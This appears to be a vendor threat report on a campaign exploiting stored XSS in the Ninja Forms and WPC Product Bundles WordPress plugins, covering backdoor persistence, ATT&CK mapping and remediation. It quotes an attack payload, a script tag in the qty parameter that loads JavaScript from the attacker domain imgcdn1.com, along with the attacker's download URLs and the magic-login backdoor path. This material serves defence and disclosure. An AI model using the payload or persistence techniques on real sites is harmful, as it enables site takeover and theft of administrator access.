Threat reportVulnerabilityTL-2026-2988
Ninja Forms (CVE-2026-94504) and WPC Product Bundles (CVE-2026-93836) stored XSS flaws exploited to hijack WordPress sites
Ninja Forms (CVE-2026-94504) and WPC Product Bundles (TL-2026-2988) is a high-severity software vulnerability scored CVSS 7.1, first published 2026-10-06. It has no confirmed attribution, affects WPClever WPC Product Bundles for WooCommerce, references 2 CVEs (CVE-2026-94504, CVE-2026-93836), maps to 14 MITRE ATT&CK techniques (T1027, T1027.013, T1059.007), and is covered by 9 detection rules and 20 indicators of compromise.
- CVSS
- 7.1/10High
- CVEs
- 2Referenced vulnerabilities
- Techniques
- 14MITRE ATT&CK
- Actors
- 0Not attributed
- Detection rules
- 9SPL · KQL · Sigma
- IOCs
- 20Indicators of compromise
Key facts for TL-2026-2988
- Threat ID
- TL-2026-2988
- Severity
- HIGH
- CVSS
- 7.1
- Status
- ACTIVE
- Category
- VULNERABILITY
- First published
- Last reviewed
- Attribution confidence
- LOW
- Motivation
- UNKNOWN
- Target sectors
- ecommerce, retail, small-business, media-publishing
- Target regions
- Global
- Detection rules
- 9
- Indicators of compromise
- 20
Malware and tooling in Ninja Forms (CVE-2026-94504) and WPC Product Bundles
Malware and tooling: PHP
How Ninja Forms (CVE-2026-94504) and WPC Product Bundles works
Attackers are exploiting unauthenticated stored XSS flaws in the Ninja Forms (500,000+ installs) and WPC Product Bundles for WooCommerce (30,000+ installs) WordPress plugins. Injected JavaScript from imgcdn1.com runs in an administrator's authenticated session, installs a fake 'WP Smart Thumbnails' plugin and sets up four independent persistence mechanisms: a visible admin, a hidden admin, a magic login URL and an unauthenticated file manager.
Patchstack first observed the campaign on 2026-10-04 (10:39 UTC) against WPC Product Bundles for WooCommerce and saw the same activity against Ninja Forms on 2026-10-05. Both CVEs are stored XSS (CWE-79) that an unauthenticated visitor can trigger; the 'authenticated session' in the reporting is the victim administrator's session, which the payload abuses when the admin opens the poisoned content. Patchstack rates both CVSS 7.1; Wiz lists CVE-2026-93836 at 7.2. No CVSS vector was published in the sources reviewed.
Entry vector, WPC Product Bundles (<= 8.6.6, fixed 8.6.7): the attacker submits a numeric-prefixed value in the woosb_ids[...][qty] parameter, for example '1 <script src="https://imgcdn1.com/fz/x.js"></script>'. A PHP float cast lets the value pass quantity validation, and it is stored verbatim in WooCommerce order item metadata under '_woosb_ids'. The script fires when an administrator views the order. Entry vector, Ninja Forms (<= 3.15.3, fixed 3.15.4): the payload is injected through a form submission handled by the legacy editor via the nf_ajax_submit AJAX action and executes when an admin views the submission. Separately, other stored XSS issues were fixed in later Ninja Forms releases (for example a Paragraph Text RTE field flaw in 3.15.4 fixed in 3.15.5), so keep Ninja Forms current beyond 3.15.4.
Payload: https://imgcdn1.com/fz/x.js (19,378 bytes; domain registered 2026-10-01) runs in the admin's session, retrieves WordPress administrative nonces, fetches the malicious package from https://imgcdn1.com/fz/c.php?xa=pkg and installs it with legitimate WordPress plugin-install functions. The package is a plugin masquerading as 'WP Smart Thumbnails' 1.2.4 by 'MediaPress Labs' (slug wp-smart-thumbnails). Its files are wp-smart-thumbnails.php (a 20,728-byte dropper with an inverted ABSPATH guard), emer-run.php (a 14,330-byte persistence installer) and two decoy files, includes/class-thumb-cache.php and readme.txt. The dropper is layered obfuscation: base64, a 26-byte XOR key, ROT13, double base64, 2-byte rotation and gzip with an MD5 integrity check. It runs through a custom 'dyiv://' stream wrapper instead of eval().
Four persistence paths: (1) a visible administrator whose username is a random operational word with an @wordpress.org email; (2) a hidden administrator, concealed by must-use plugins in /wp-content/mu-plugins/ (class-wp-query-<8 hex>.php hooks pre_user_query, users_list_table_query_args and views_users; class-wp-token-validate.php handles the login token at init priority 1), both backdated to the oldest install timestamp; (3) a magic login URL /wp-login.php?_wplogin=<token> that authenticates as the oldest existing administrator, so the original owner's account must be treated as compromised; (4) an unauthenticated ~37KB file manager in the plugin (title string 'Moon, tell me if I could') with a JSON API for list, upload, delete, rename, mkdir, read and save, no auth check and no command-execution primitive (code execution is achieved by writing PHP to a path). Campaign state is kept in the options fz_emer_done_v1 and fz_emer_login_tokens, and the client side uses localStorage keys prefixed '__xp_v9_'. Exploitation traffic came from Tor exit nodes plus one flagged spam/brute-force IP. BeaconBeagle returned no C2 config match for imgcdn1.com. Patching stops new injection but does not remove an existing compromise.
MITRE ATT&CK techniques used in TL-2026-2988
Defense Evasion
T1027 Obfuscated Files or Information; T1027.013 Encrypted/Encoded File; T1070.006 Timestomp; T1078.003 Local Accounts; T1140 Deobfuscate/Decode Files or Information; T1564 Hide Artifacts
Execution
Command and Control
T1071.001 Web Protocols; T1090.003 Multi-hop Proxy
Persistence
T1136.001 Local Account; T1505 Server Software Component; T1505.003 Web Shell
Initial Access
T1190 Exploit Public-Facing Application
Resource Development
Affected products and versions in Ninja Forms (CVE-2026-94504) and WPC Product Bundles
- WPClever — WPC Product Bundles for WooCommerce
Vulnerable versions: <= 8.6.6
Fixed in: 8.6.7 - Saturday Drive (Ninja Forms) — Ninja Forms
Vulnerable versions: <= 3.15.3
Fixed in: 3.15.4
Remediation for Ninja Forms (CVE-2026-94504) and WPC Product Bundles
Patches
- WPC Product Bundles for WooCommerce 8.6.7 or later
- Ninja Forms 3.15.4 or later
Immediate actions
- Update WPC Product Bundles for WooCommerce to 8.6.7+ and Ninja Forms to 3.15.4+ (preferably the latest release)
- Audit all administrator accounts directly in the database (query wp_usermeta wp_capabilities LIKE '%administrator%') because the hidden admin is filtered from wp-admin user lists
- Remove the /wp-content/plugins/wp-smart-thumbnails/ plugin and any /wp-content/mu-plugins/class-wp-query-*.php and class-wp-token-validate.php files
- Delete the fz_emer_done_v1 and fz_emer_login_tokens options
- Block imgcdn1.com at DNS/proxy and search web logs for the _wplogin parameter on wp-login.php
Workarounds
- Avoid opening unreviewed WooCommerce orders or form submissions while logged in as an administrator until patched
- Deploy a WAF rule blocking script tags in woosb_ids qty parameters and nf_ajax_submit payloads
Longer-term hardening
- Rotate all privileged credentials and WordPress salts; treat the oldest administrator account's password as compromised
- Review existing WooCommerce orders and Ninja Forms submissions for embedded script tags and remove them
- Monitor for new plugins, mu-plugins and administrator creation events; apply a CSP and WAF virtual patching for plugin XSS
CVEs associated with Ninja Forms (CVE-2026-94504) and WPC Product Bundles
Weaknesses (CWE) in Ninja Forms (CVE-2026-94504) and WPC Product Bundles
Timeline of Ninja Forms (CVE-2026-94504) and WPC Product Bundles
- CVE-2026-93836 (WPC Product Bundles <= 8.6.6 stored XSS via the qty parameter) is published; no in-the-wild exploitation was reported at that time.
- Payload-delivery domain imgcdn1.com is registered.
- Patchstack identifies the campaign against WPC Product Bundles users.
- First observed exploitation at 10:39 UTC against WPC Product Bundles via woosb_ids[...][qty] carrying a script tag that loads https://imgcdn1.com/fz/x.js.
- Patchstack publishes technical analysis of the four persistence mechanisms and the WP Smart Thumbnails backdoor.
- Same activity observed against Ninja Forms (<= 3.15.3) through form submissions via the nf_ajax_submit action in the legacy editor.
- BleepingComputer reports the exploitation; fixes are available in WPC Product Bundles 8.6.7 and Ninja Forms 3.15.4.
Sources cited for Ninja Forms (CVE-2026-94504) and WPC Product Bundles
- Ninja Forms plugin flaw exploited to hack WordPress sites (BleepingComputer)
- Four ways back in: the WordPress XSS campaign that hides its own admin account (Patchstack)
- CVE-2026-93836 vulnerability record (Wiz)
- Ninja Forms vulnerability database (Patchstack)
- Ninja Forms <= 3.15.3 cross-site scripting (Patchstack)
- WPC Product Bundles for WooCommerce (WordPress.org plugin page)
- Ninja Forms <= 3.15.4 unauthenticated stored XSS via Paragraph Text RTE field (Patchstack, related separate flaw)
Detection coverage for TL-2026-2988
As of 2026-10-06, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-2988 across Splunk SPL, Microsoft KQL and Sigma, covering 20 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.